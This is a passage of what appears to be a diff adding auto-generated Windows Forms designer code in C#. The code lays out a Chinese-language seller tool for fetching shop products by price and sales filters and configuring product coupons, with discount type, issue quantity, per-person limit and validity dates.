System.Windows.Forms.DateTimePicker(); + this.dtpStartApplyTime = new System.Windows.Forms.DateTimePicker(); + this.label4 = new System.Windows.Forms.Label(); + this.btnOffLine = new DevComponents.DotNetBar.PanelEx(); + this.btnStopOperate = new DevComponents.DotNetBar.PanelEx(); + this.nudDays = new System.Windows.Forms.NumericUpDown(); + this.label7 = new System.Windows.Forms.Label(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnRefreshShop = new LittleRabbit.UserControls.ButtonEx(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colAuthStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colLoginStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCanUse = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.panelEx1 = new DevComponents.DotNetBar.PanelEx(); + this.ucTabControl1 = new LittleRabbit.UserComponent.UcTabControl(); + this.tabPageCheckResult = new System.Windows.Forms.TabPage(); + this.tabPageViolateFileList = new System.Windows.Forms.TabPage(); + this.splitContainer4 = new System.Windows.Forms.SplitContainer(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.btnClear = new DevComponents.DotNetBar.PanelEx(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer5)).BeginInit(); + this.splitContainer5.Panel1.SuspendLayout(); + this.splitContainer5.Panel2.SuspendLayout(); + this.splitContainer5.SuspendLayout(); + this.ucGroupBoxEx3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbPaste2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbPaste1)).BeginInit(); + this.ucGroupBoxEx2.SuspendLayout(); + this.flowLayoutPanel1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudThresHold)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudCredit)).BeginInit(); + this.pnlTimePeriod.SuspendLayout(); + this.panel3.SuspendLayout(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudTotalCount)).BeginInit(); + this.panel1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudDays)).BeginInit(); + this.ucGroupBoxEx1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.Panel2.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.panelEx1.SuspendLayout(); + this.ucTabControl1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).BeginInit(); + this.splitContainer4.Panel1.SuspendLayout(); + this.splitContainer4.Panel2.SuspendLayout(); + this.splitContainer4.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.splitContainer5); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer3); + this.splitContainer1.Size = new System.Drawing.Size(1266, 626); + this.splitContainer1.SplitterDistance = 150; + this.splitContainer1.TabIndex = 6; + // + // splitContainer5 + // + this.splitContainer5.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.splitContainer5.Location = new System.Drawing.Point(148, 3); + this.splitContainer5.Name = "splitContainer5"; + // + // splitContainer5.Panel1 + // + this.splitContainer5.Panel1.Controls.Add(this.ucGroupBoxEx3); + // + // splitContainer5.Panel2 + // + this.splitContainer5.Panel2.Controls.Add(this.ucGroupBoxEx2); + this.splitContainer5.Size = new System.Drawing.Size(1113, 149); + this.splitContainer5.SplitterDistance = 424; + this.splitContainer5.TabIndex = 400; + // + // ucGroupBoxEx3 + // + this.ucGroupBoxEx3.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ucGroupBoxEx3.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx3.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx3.Controls.Add(this.pbPaste2); + this.ucGroupBoxEx3.Controls.Add(this.pbPaste1); + this.ucGroupBoxEx3.Controls.Add(this.txtFilter); + this.ucGroupBoxEx3.Controls.Add(this.label14); + this.ucGroupBoxEx3.Controls.Add(this.txtProductName); + this.ucGroupBoxEx3.Controls.Add(this.txtPriceMin); + this.ucGroupBoxEx3.Controls.Add(this.label12); + this.ucGroupBoxEx3.Controls.Add(this.txtPriceMax); + this.ucGroupBoxEx3.Controls.Add(this.label1); + this.ucGroupBoxEx3.Controls.Add(this.lblProductName); + this.ucGroupBoxEx3.Controls.Add(this.txtSaleMax); + this.ucGroupBoxEx3.Controls.Add(this.txtSaleMin); + this.ucGroupBoxEx3.Controls.Add(this.label2); + this.ucGroupBoxEx3.Controls.Add(this.label3); + this.ucGroupBoxEx3.Controls.Add(this.rbOnSale); + this.ucGroupBoxEx3.Controls.Add(this.btnStopGetProduct); + this.ucGroupBoxEx3.Controls.Add(this.btnGetProduct); + this.ucGroupBoxEx3.Controls.Add(this.rbOffSale); + this.ucGroupBoxEx3.Location = new System.Drawing.Point(-1, -1); + this.ucGroupBoxEx3.Name = "ucGroupBoxEx3"; + this.ucGroupBoxEx3.Size = new System.Drawing.Size(427, 150); + this.ucGroupBoxEx3.TabIndex = 423; + this.ucGroupBoxEx3.TabStop = false; + this.ucGroupBoxEx3.Text = "商品查询"; + // + // pbPaste2 + // + this.pbPaste2.BackColor = System.Drawing.Color.White; + this.pbPaste2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pbPaste2.Image = global::LittleRabbit.Properties.Resources.FullPaste; + this.pbPaste2.Location = new System.Drawing.Point(277, 81); + this.pbPaste2.Name = "pbPaste2"; + this.pbPaste2.Size = new System.Drawing.Size(23, 23); + this.pbPaste2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pbPaste2.TabIndex = 498; + this.pbPaste2.TabStop = false; + this.pbPaste2.Click += new System.EventHandler(this.pbPaste2_Click); + // + // pbPaste1 + // + this.pbPaste1.BackColor = System.Drawing.Color.White; + this.pbPaste1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pbPaste1.Image = global::LittleRabbit.Properties.Resources.FullPaste; + this.pbPaste1.Location = new System.Drawing.Point(277, 52); + this.pbPaste1.Name = "pbPaste1"; + this.pbPaste1.Size = new System.Drawing.Size(23, 23); + this.pbPaste1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pbPaste1.TabIndex = 497; + this.pbPaste1.TabStop = false; + this.pbPaste1.Click += new System.EventHandler(this.pbPaste1_Click); + // + // txtFilter + // + // + // + // + this.txtFilter.Border.Class = "TextBoxBorder"; + this.txtFilter.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtFilter.Location = new System.Drawing.Point(76, 81); + this.txtFilter.Name = "txtFilter"; + this.txtFilter.PreventEnterBeep = true; + this.txtFilter.Size = new System.Drawing.Size(202, 23); + this.txtFilter.TabIndex = 490; + this.txtFilter.WatermarkText = "请输入商品编号,多个用逗号隔开"; + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(8, 84); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(69, 17); + this.label14.TabIndex = 489; + this.label14.Text = "过滤商品ID"; + // + // txtProductName + // + // + // + // + this.txtProductName.Border.Class = "TextBoxBorder"; + this.txtProductName.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtProductName.Location = new System.Drawing.Point(76, 52); + this.txtProductName.Name = "txtProductName"; + this.txtProductName.PreventEnterBeep = true; + this.txtProductName.Size = new System.Drawing.Size(202, 23); + this.txtProductName.TabIndex = 488; + this.txtProductName.WatermarkText = "请输入商品编号,多个用逗号隔开"; + // + // txtPriceMin + // + this.txtPriceMin.Location = new System.Drawing.Point(39, 22); + this.txtPriceMin.Name = "txtPriceMin"; + this.txtPriceMin.Size = new System.Drawing.Size(38, 23); + this.txtPriceMin.TabIndex = 472; + this.txtPriceMin.Text = "0"; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(8, 25); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(32, 17); + this.label12.TabIndex = 473; + this.label12.Text = "价格"; + // + // txtPriceMax + // + this.txtPriceMax.Location = new System.Drawing.Point(89, 22); + this.txtPriceMax.Name = "txtPriceMax"; + this.txtPriceMax.Size = new System.Drawing.Size(50, 23); + this.txtPriceMax.TabIndex = 474; + this.txtPriceMax.Text = "99999"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(77, 25); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(13, 17); + this.label1.TabIndex = 475; + this.label1.Text = "-"; + // + // lblProductName + // + this.lblProductName.AutoSize = true; + this.lblProductName.Location = new System.Drawing.Point(8, 55); + this.lblProductName.Name = "lblProductName"; + this.lblProductName.Size = new System.Drawing.Size(69, 17); + this.lblProductName.TabIndex = 481; + this.lblProductName.Text = "指定商品ID"; + this.lblProductName.Click += new System.EventHandler(this.lblProductName_Click); + this.lblProductName.DoubleClick += new System.EventHandler(this.lblProductName_DoubleClick); + // + // txtSaleMax + // + this.txtSaleMax.Location = new System.Drawing.Point(241, 22); + this.txtSaleMax.Name = "txtSaleMax"; + this.txtSaleMax.Size = new System.Drawing.Size(50, 23); + this.txtSaleMax.TabIndex = 478; + this.txtSaleMax.Text = "99999"; + // + // txtSaleMin + // + this.txtSaleMin.Location = new System.Drawing.Point(194, 22); + this.txtSaleMin.Name = "txtSaleMin"; + this.txtSaleMin.Size = new System.Drawing.Size(35, 23); + this.txtSaleMin.TabIndex = 476; + this.txtSaleMin.Text = "0"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(163, 25); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(32, 17); + this.label2.TabIndex = 477; + this.label2.Text = "销量"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(229, 25); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(13, 17); + this.label3.TabIndex = 479; + this.label3.Text = "-"; + // + // rbOnSale + // + this.rbOnSale.AutoSize = true; + this.rbOnSale.Checked = true; + this.rbOnSale.Location = new System.Drawing.Point(11, 23); + this.rbOnSale.Name = "rbOnSale"; + this.rbOnSale.Size = new System.Drawing.Size(62, 21); + this.rbOnSale.TabIndex = 464; + this.rbOnSale.TabStop = true; + this.rbOnSale.Text = "出售中"; + this.rbOnSale.UseVisualStyleBackColor = true; + // + // btnStopGetProduct + // + this.btnStopGetProduct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStopGetProduct.CanvasColor = System.Drawing.SystemColors.Control; + this.btnStopGetProduct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStopGetProduct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStopGetProduct.Location = new System.Drawing.Point(338, 52); + this.btnStopGetProduct.Name = "btnStopGetProduct"; + this.btnStopGetProduct.Size = new System.Drawing.Size(80, 23); + this.btnStopGetProduct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopGetProduct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnStopGetProduct.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnStopGetProduct.Style.GradientAngle = 90; + this.btnStopGetProduct.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopGetProduct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopGetProduct.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnStopGetProduct.TabIndex = 463; + this.btnStopGetProduct.Text = "停止获取"; + this.btnStopGetProduct.Click += new System.EventHandler(this.btnStopGetProduct_Click); + // + // btnGetProduct + // + this.btnGetProduct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnGetProduct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnGetProduct.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnGetProduct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnGetProduct.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnGetProduct.Location = new System.Drawing.Point(338, 22); + this.btnGetProduct.Name = "btnGetProduct"; + this.btnGetProduct.Size = new System.Drawing.Size(80, 23); + this.btnGetProduct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnGetProduct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetProduct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetProduct.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnGetProduct.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnGetProduct.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnGetProduct.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnGetProduct.Style.GradientAngle = 90; + this.btnGetProduct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnGetProduct.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnGetProduct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnGetProduct.TabIndex = 456; + this.btnGetProduct.Text = "获取商品"; + this.btnGetProduct.Click += new System.EventHandler(this.btnGetProduct_Click); + // + // rbOffSale + // + this.rbOffSale.AutoSize = true; + this.rbOffSale.Location = new System.Drawing.Point(74, 23); + this.rbOffSale.Name = "rbOffSale"; + this.rbOffSale.Size = new System.Drawing.Size(62, 21); + this.rbOffSale.TabIndex = 465; + this.rbOffSale.Text = "仓库中"; + this.rbOffSale.UseVisualStyleBackColor = true; + this.rbOffSale.Visible = false; + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx2.Controls.Add(this.flowLayoutPanel1); + this.ucGroupBoxEx2.Controls.Add(this.pnlTimePeriod); + this.ucGroupBoxEx2.Controls.Add(this.panel3); + this.ucGroupBoxEx2.Controls.Add(this.label17); + this.ucGroupBoxEx2.Controls.Add(this.panel2); + this.ucGroupBoxEx2.Controls.Add(this.cmbUserCountLimited); + this.ucGroupBoxEx2.Controls.Add(this.nudTotalCount); + this.ucGroupBoxEx2.Controls.Add(this.label15); + this.ucGroupBoxEx2.Controls.Add(this.label13); + this.ucGroupBoxEx2.Controls.Add(this.label11); + this.ucGroupBoxEx2.Controls.Add(this.lblDiscountText); + this.ucGroupBoxEx2.Controls.Add(this.cmbType); + this.ucGroupBoxEx2.Controls.Add(this.label9); + this.ucGroupBoxEx2.Controls.Add(this.panel1); + this.ucGroupBoxEx2.Controls.Add(this.label8); + this.ucGroupBoxEx2.Controls.Add(this.label6); + this.ucGroupBoxEx2.Controls.Add(this.lblUseTypeText); + this.ucGroupBoxEx2.Controls.Add(this.dtpEndApplyTime); + this.ucGroupBoxEx2.Controls.Add(this.dtpStartApplyTime); + this.ucGroupBoxEx2.Controls.Add(this.label4); + this.ucGroupBoxEx2.Controls.Add(this.btnOffLine); + this.ucGroupBoxEx2.Controls.Add(this.btnStopOperate); + this.ucGroupBoxEx2.Controls.Add(this.nudDays); + this.ucGroupBoxEx2.Controls.Add(this.label7); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(-2, -1); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Size = new System.Drawing.Size(689, 150); + this.ucGroupBoxEx2.TabIndex = 469; + this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "商品操作"; + // + // flowLayoutPanel1 + // + this.flowLayoutPanel1.Controls.Add(this.nudThresHold); + this.flowLayoutPanel1.Controls.Add(this.lblThresHold); + this.flowLayoutPanel1.Controls.Add(this.nudCredit); + this.flowLayoutPanel1.Controls.Add(this.lblCreditText); + this.flowLayoutPanel1.Location = new System.Drawing.Point(352, 43); + this.flowLayoutPanel1.Name = "flowLayoutPanel1"; + this.flowLayoutPanel1.Size = new System.Drawing.Size(200, 23); + this.flowLayoutPanel1.TabIndex = 505; + // + // nudThresHold + // + this.nudThresHold.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.nudThresHold.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudThresHold.Location = new System.Drawing.Point(0, 0); + this.nudThresHold.Margin = new System.Windows.Forms.Padding(0); + this.nudThresHold.Maximum = new decimal(new int[] { + 99999, + 0, + 0, + 0}); + this.nudThresHold.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.nudThresHold.Name = "nudThresHold"; + this.nudThresHold.Size = new System.Drawing.Size(55, 23); + this.nudThresHold.TabIndex = 560; + this.nudThresHold.Value = new decimal(new int[] { + 10, + 0, + 0, + 0}); + this.nudThresHold.Visible = false; + // + // lblThresHold + // + this.lblThresHold.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.lblThresHold.AutoSize = true; + this.lblThresHold.Location = new System.Drawing.Point(55, 3); + this.lblThresHold.Margin = new System.Windows.Forms.Padding(0); + this.lblThresHold.Name = "lblThresHold"; + this.lblThresHold.Size = new System.Drawing.Size(20, 17); + this.lblThresHold.TabIndex = 559; + this.lblThresHold.Text = "减"; + this.lblThresHold.Visible = false; + // + // nudCredit + // + this.nudCredit.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.nudCredit.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudCredit.DecimalPlaces = 1; + this.nudCredit.Increment = new decimal(new int[] { + 1, + 0, + 0, + 65536}); + this.nudCredit.Location = new System.Drawing.Point(75, 0); + this.nudCredit.Margin = new System.Windows.Forms.Padding(0); + this.nudCredit.Name = "nudCredit"; + this.nudCredit.Size = new System.Drawing.Size(55, 23); + this.nudCredit.TabIndex = 532; + this.nudCredit.Value = new decimal(new int[] { + 99, + 0, + 0, + 65536}); + // + // lblCreditText + // + this.lblCreditText.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.lblCreditText.AutoSize = true; + this.lblCreditText.Location = new System.Drawing.Point(130, 3); + this.lblCreditText.Margin = new System.Windows.Forms.Padding(0); + this.lblCreditText.Name = "lblCreditText"; + this.lblCreditText.Size = new System.Drawing.Size(20, 17); + this.lblCreditText.TabIndex = 531; + this.lblCreditText.Text = "折"; + // + // pnlTimePeriod + // + this.pnlTimePeriod.Controls.Add(this.dtpStartUseTime); + this.pnlTimePeriod.Controls.Add(this.dtpEndUseTime); + this.pnlTimePeriod.Location = new System.Drawing.Point(94, 92); + this.pnlTimePeriod.Name = "pnlTimePeriod"; + this.pnlTimePeriod.Size = new System.Drawing.Size(174, 25); + this.pnlTimePeriod.TabIndex = 552; + // + // dtpStartUseTime + // + this.dtpStartUseTime.CustomFormat = "yyyy\'/\'MM\'/\'dd"; + this.dtpStartUseTime.Format = System.Windows.Forms.DateTimePickerFormat.Custom; + this.dtpStartUseTime.Location = new System.Drawing.Point(0, 1); + this.dtpStartUseTime.Name = "dtpStartUseTime"; + this.dtpStartUseTime.Size = new System.Drawing.Size(86, 23); + this.dtpStartUseTime.TabIndex = 544; + // + // dtpEndUseTime + // + this.dtpEndUseTime.CustomFormat = "yyyy\'/\'MM\'/\'dd"; + this.dtpEndUseTime.Format = System.Windows.Forms.DateTimePickerFormat.Custom; + this.dtpEndUseTime.Location = new System.Drawing.Point(88, 1); + this.dtpEndUseTime.Name = "dtpEndUseTime"; + this.dtpEndUseTime.Size = new System.Drawing.Size(86, 23); + this.dtpEndUseTime.TabIndex = 551; + // + // panel3 + // + this.panel3.Controls.Add(this.rbUseTypeDays); + this.panel3.Controls.Add(this.rbUseTypePeriod); + this.panel3.Location = new System.Drawing.Point(94, 69); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(174, 21); + this.panel3.TabIndex = 543; + // + // rbUseTypeDays + // + this.rbUseTypeDays.AutoSize = true; + this.rbUseTypeDays.Location = new System.Drawing.Point(79, 0); + this.rbUseTypeDays.Name = "rbUseTypeDays"; + this.rbUseTypeDays.Size = new System.Drawing.Size(74, 21); + this.rbUseTypeDays.TabIndex = 466; + this.rbUseTypeDays.Text = "有效天数"; + this.rbUseTypeDays.UseVisualStyleBackColor = true; + // + // rbUseTypePeriod + // + this.rbUseTypePeriod.AutoSize = true; + this.rbUseTypePeriod.Checked = true; + this.rbUseTypePeriod.Location = new System.Drawing.Point(0, 0); + this.rbUseTypePeriod.Name = "rbUseTypePeriod"; + this.rbUseTypePeriod.Size = new System.Drawing.Size(74, 21); + this.rbUseTypePeriod.TabIndex = 465; + this.rbUseTypePeriod.TabStop = true; + this.rbUseTypePeriod.Text = "日期范围"; + this.rbUseTypePeriod.UseVisualStyleBackColor = true; + this.rbUseTypePeriod.CheckedChanged += new System.EventHandler(this.rbUseTypePeriod_CheckedChanged); + // + // label17 + // + this.label17.AutoSize = true; + this.label17.Location = new System.Drawing.Point(36, 71); + this.label17.Name = "label17"; + this.label17.Size = new System.Drawing.Size(56, 17); + this.label17.TabIndex = 542; + this.label17.Text = "使用时间"; + // + // panel2 + // + this.panel2.Controls.Add(this.rbAllProductEachCoupon); + this.panel2.Controls.Add(this.rbOneProductEachCoupon); + this.panel2.Location = new System.Drawing.Point(294, 92); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(559, 27); + this.panel2.TabIndex = 0; + // + // rbAllProductEachCoupon + // + this.rbAllProductEachCoupon.AutoSize = true; + this.rbAllProductEachCoupon.Checked = true; + this.rbAllProductEachCoupon.Location = new System.Drawing.Point(155, 3); + this.rbAllProductEachCoupon.Name = "rbAllProductEachCoupon"; + this.rbAllProductEachCoupon.Size = new System.Drawing.Size(307, 21); + this.rbAllProductEachCoupon.TabIndex = 572; + this.rbAllProductEachCoupon.TabStop = true; + this.rbAllProductEachCoupon.Text = "所有商品设置同一组优惠券(每200件商品一组优惠券)"; + this.rbAllProductEachCoupon.UseVisualStyleBackColor = true; + // + // rbOneProductEachCoupon + // + this.rbOneProductEachCoupon.AutoSize = true; + this.rbOneProductEachCoupon.Location = new System.Drawing.Point(3, 3); + this.rbOneProductEachCoupon.Name = "rbOneProductEachCoupon"; + this.rbOneProductEachCoupon.Size = new System.Drawing.Size(146, 21); + this.rbOneProductEachCoupon.TabIndex = 571; + this.rbOneProductEachCoupon.Text = "每件商品单独置优惠券"; + this.rbOneProductEachCoupon.UseVisualStyleBackColor = true; + // + // cmbUserCountLimited + // + this.cmbUserCountLimited.DisplayMember = "Text"; + this.cmbUserCountLimited.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbUserCountLimited.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbUserCountLimited.FormattingEnabled = true; + this.cmbUserCountLimited.ItemHeight = 18; + this.cmbUserCountLimited.Items.AddRange(new object[] { + this.cbi1}); + this.cmbUserCountLimited.Location = new System.Drawing.Point(488, 67); + this.cmbUserCountLimited.Name = "cmbUserCountLimited"; + this.cmbUserCountLimited.Size = new System.Drawing.Size(72, 24); + this.cmbUserCountLimited.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbUserCountLimited.TabIndex = 535; + // + // cbi1 + // + this.cbi1.Text = "1张"; + this.cbi1.Value = "5分钟"; + // + // nudTotalCount + // + this.nudTotalCount.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudTotalCount.Location = new System.Drawing.Point(352, 68); + this.nudTotalCount.Name = "nudTotalCount"; + this.nudTotalCount.Size = new System.Drawing.Size(55, 23); + this.nudTotalCount.TabIndex = 533; + this.nudTotalCount.Value = new decimal(new int[] { + 1, + 0, + 0, + 0}); + // + // label15 + // + this.label15.AutoSize = true; + this.label15.Location = new System.Drawing.Point(407, 71); + this.label15.Name = "label15"; + this.label15.Size = new System.Drawing.Size(20, 17); + this.label15.TabIndex = 530; + this.label15.Text = "张"; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(430, 71); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(56, 17); + this.label13.TabIndex = 527; + this.label13.Text = "每人限领"; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(306, 71); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(44, 17); + this.label11.TabIndex = 525; + this.label11.Text = "发放量"; + // + // lblDiscountText + // + this.lblDiscountText.AutoSize = true; + this.lblDiscountText.Location = new System.Drawing.Point(294, 46); + this.lblDiscountText.Name = "lblDiscountText"; + this.lblDiscountText.Size = new System.Drawing.Size(56, 17); + this.lblDiscountText.TabIndex = 523; + this.lblDiscountText.Text = "  折扣"; + // + // cmbType + // + this.cmbType.DisplayMember = "Text"; + this.cmbType.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbType.FormattingEnabled = true; + this.cmbType.ItemHeight = 18; + this.cmbType.Items.AddRange(new object[] { + this.商品折扣券, + this.商品直减券, + this.商品满减券}); + this.cmbType.Location = new System.Drawing.Point(352, 17); + this.cmbType.Name = "cmbType"; + this.cmbType.Size = new System.Drawing.Size(208, 24); + this.cmbType.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbType.TabIndex = 522; + this.cmbType.SelectedIndexChanged += new System.EventHandler(this.cmbType_SelectedIndexChanged); + // + // 商品折扣券 + // + this.商品折扣券.Text = "商品折扣券"; + this.商品折扣券.Value = "5分钟"; + // + // 商品直减券 + // + this.商品直减券.Text = "商品直减券"; + // + // 商品满减券 + // + this.商品满减券.Text = "商品满减券"; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(294, 21); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(56, 17); + this.label9.TabIndex = 483; + 